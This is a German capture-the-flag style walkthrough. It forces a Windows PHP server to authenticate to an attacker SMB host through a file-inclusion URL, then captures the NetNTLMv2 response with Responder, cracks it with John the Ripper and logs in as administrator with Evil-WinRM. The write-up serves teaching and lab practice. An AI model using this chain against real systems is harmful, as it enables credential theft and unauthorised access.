Using LFI/RFI for NTLM Hash Leakage via Responder
Einführung in NTLM und File Inclusion
Wir wissen, dass diese Webanwendung eine Schwachstelle in Bezug auf File Inclusion aufweist und auf einem Windows-System läuft. Dadurch besteht die Möglichkeit, dass wir eine Datei auf unserem Angreifer-Host einbinden können. Durch die Wahl eines Protokolls wie SMB wird Windows versuchen, sich bei unserer Maschine zu authentifizieren, und wir können den NetNTLMv2-Hash abfangen.
Was ist NTLM (New Technology Lan Manager)?
NTLM ist eine Sammlung von Authentifizierungsprotokollen, die von Microsoft entwickelt wurden. Es handelt sich um ein Challenge-Response-Authentifizierungsprotokoll, das zur Authentifizierung eines Clients an einer Ressource in einer Active Directory-Domäne verwendet wird. Es erlaubt Single-Sign-On (SSO), da der Benutzer das zugrunde liegende Authentifizierungsfaktor nur einmal beim Login eingeben muss.
Ablauf der NTLM-Authentifizierung:
Der Client sendet den Benutzernamen und den Domänennamen an den Server.
Der Server erzeugt einen zufälligen Zeichenstring, den sogenannten "Challenge".
Der Client verschlüsselt die Challenge mit dem NTLM-Hash des Benutzerpassworts und sendet sie an den Server zurück.
Der Server ruft das Benutzerpasswort (oder einen gleichwertigen Wert) ab.
Der Server verschlüsselt die Challenge mit dem aus der Sicherheitskontodatenbank abgerufenen Hash-Wert und vergleicht den Wert mit dem vom Client empfangenen Wert. Wenn die Werte übereinstimmen, wird der Client authentifiziert.
NTLM vs NTHash vs NetNTLMv2
NTHash ist der Output des Algorithmus, mit dem Windows-Passwörter in der SAM-Datenbank oder auf Domänencontrollern gespeichert werden. Oft wird dies als NTLM-Hash bezeichnet, was verwirrend sein kann.
NetNTLMv2 ist das spezielle Format für Challenge-Response-Werte im Netzwerk. Diese werden häufig als "NetNTLMv2-Hashes" bezeichnet, sind aber technisch gesehen keine echten Hashes. Sie werden jedoch wie Hashes angegriffen, was zur Verwirrung führt.
Ausnutzung von File Inclusion mit Responder
Nutzung der PHP-Konfiguration
In der php.ini
Datei ist die Option allow_url_include
standardmäßig auf "Off" gesetzt, was bedeutet, dass PHP keine entfernten HTTP- oder FTP-URLs lädt, um Remote File Inclusion-Angriffe zu verhindern. Dennoch blockiert PHP das Laden von SMB-URLs nicht, was wir nutzen können, um den NTLM-Hash zu stehlen.
Funktionsweise von Responder
Responder setzt einen bösartigen SMB-Server auf. Wenn das Ziel versucht, die NTLM-Authentifizierung zu diesem Server durchzuführen, sendet Responder eine Challenge zurück, die der Server mit dem Passwort des Benutzers verschlüsselt. Responder nutzt die Challenge und die verschlüsselte Antwort, um den NetNTLMv2-Hash zu erhalten. Der Hash kann mit Tools wie John The Ripper geknackt werden.
Schritt-für-Schritt-Anleitung zur Nutzung von Responder
Installation von Responder Falls Responder noch nicht installiert ist, klonen wir das Repository:
git clone https://github.com/lgandx/Responder
Prüfen Sie, dass
Responder.conf
auf SMB-Anfragen hört.Start von Responder Responder kann auf einem bestimmten Netzwerkinterface gestartet werden:
sudo responder -I {network_interface}
Beispiel (auf einem typischen Kali-Linux-System):
sudo responder -I tun0
Auslösen der File Inclusion auf der Zielseite In diesem Fall geben wir als
page
-Parameter die Adresse unseres SMB-Servers an:http://targetsite.com/index.php?page=//10.10.14.25/somefile
Hier versucht der Server, die Ressource von unserem SMB-Server zu laden, und Responder fängt den NetNTLMv2-Hash ab.
Beispielausgabe und Erläuterung
Nachdem wir die Anfrage gesendet haben, erhalten wir möglicherweise eine Fehlermeldung, dass die Datei nicht geladen werden kann. Dies ist zu erwarten. Der wichtige Schritt ist, Responder zu überprüfen, um zu sehen, ob der Hash abgefangen wurde.
Beispielausgabe von Responder:
[SMB] NTLMv2-Hash für Benutzer "Administrator" abgefangen:
Administrator::DOMAIN:NetNTLMv2_Hash...
Die NetNTLMv2-Antwort enthält sowohl die Challenge als auch die verschlüsselte Antwort. Durch Hash-Cracking-Techniken kann dieser Wert analysiert werden, um das Passwort zu ermitteln.
Hinweis zur Sicherheit
Stellen Sie sicher, dass Sie die Adresse mit http://
angeben, da einige Browser sonst einen Google-Suchvorgang auslösen könnten.
Cracking des NTLM-Hashes mit john
:
john
:Nachdem du den NTLM-Hash mit einem Tool wie Responder abgefangen hast, kannst du ihn mit John the Ripper knacken, um das Klartext-Passwort zu ermitteln.
Cracken des Hashes mit John the Ripper:
Verwende eine Wortliste, z.B. die
rockyou.txt
, um den Hash zu knacken:john -w=/usr/share/wordlists/rockyou.txt hash.txt
Erklärung:
-w=/usr/share/wordlists/rockyou.txt
: Gibt die Wortliste an, die für das Cracking verwendet wird.hash.txt
: Die Datei, die den abgefangenen Hash enthält.
Beispielausgabe:
password: badminton
Zugriff auf den Zielserver mit Evil-WinRM:
Um eine Verbindung zum Zielsystem herzustellen und eine Remote-Session über WinRM (Windows Remote Management) zu starten, nutzen wir Evil-WinRM. Dies ist ein speziell entwickeltes Tool für die Remote-Verbindung zu Windows-Systemen über das WinRM-Protokoll.
Verbindung mit Evil-WinRM:
Führe den folgenden Befehl aus, um dich als
administrator
mit dem ermittelten Passwort zu verbinden:evil-winrm -i 10.129.136.91 -u administrator -p badminton
Erklärung:
-i 10.129.136.91
: Gibt die IP-Adresse des Zielsystems an.-u administrator
: Benutzername, mit dem die Verbindung hergestellt wird.-p badminton
: Das geknackte Passwort.
Zugriff auf die Flag-Datei:
Nachdem du die Verbindung hergestellt hast, kannst du zur gewünschten Datei navigieren und deren Inhalt anzeigen. Angenommen, die Flag-Datei befindet sich unter
C:\Users\mike\Desktop\flag.txt
:cd C:\Users\mike\Desktop\ type flag.txt
Hinweis: Der Befehl
type
zeigt den Inhalt der Datei an.
Glückwunsch! Du hast erfolgreich das Passwort aus dem NTLM-Hash extrahiert, eine Verbindung mit WinRM hergestellt und kannst auf sensible Dateien zugreifen.
Last updated